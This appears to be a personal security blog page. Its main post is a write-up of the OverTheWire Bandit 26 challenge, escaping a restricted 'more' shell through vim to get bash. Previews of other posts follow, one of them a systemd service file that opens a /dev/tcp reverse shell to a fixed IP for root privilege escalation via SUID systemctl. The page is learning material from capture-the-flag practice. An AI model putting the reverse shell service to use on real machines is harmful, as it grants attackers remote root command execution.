Skip to main content

Over the Wire - Bandit 26

Bandit 26


Objectives
Bandit Level 25 → Level 26Level GoalLogging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.



Solution

This one is crazy and I could get about 60% there just with my knowledge but had to cheat and google solution to find out how to solve it

so Here is what I did by myself before resulting to other write ups

let's check the etc/passwd to see what the default shell for bandit 26 is

$ cat /etc/passwdbandit23:x:11023:11023:bandit level 23:/home/bandit23:/bin/bashbandit24:x:11024:11024:bandit level 24:/home/bandit24:/bin/bashbandit25:x:11025:11025:bandit level 25:/home/bandit25:/bin/bashbandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtextbandit27:x:11027:11027:bandit level 27:/home/bandit27:/bin/bashbandit28:x:11028:11028:bandit level 28:/home/bandit28:/bin/bash


Well the defulat shell is not /bin/bash like every other bandit.. lets see whats in that file

cat /usr/bin/showtext#!/bin/sh


export TERM=linux
more ~/text.txtexit 0



This is were I was stuck I could see that the user wasn't using a standard shell and was able to look at the shell file being called but I couldn't figure out what to do with this information. I spent the better part of an hour searching around on google trying to figure out my next step. After I gave up I found a write up that told me what to do here.

That more part of the script is very important to solving this challenge

in order to trigger that part of the script to run the SSH window must be shrunk down enough to triggger the More function which would normally scroll

if we press v on the keyboard that will load VIM

we can change the shell and then launch shell again to get normal bash access


:set shell=/bin/bash:shell


now we got bash

bandit26@bandit:~$ cat /etc/bandit_pass/bandit265czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z




I feel like I'm going to stop the bandit CTFs here. This is a bit too deep for me right now and I need to learn some more before talking the rest of these

Comments

Popular posts from this blog

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar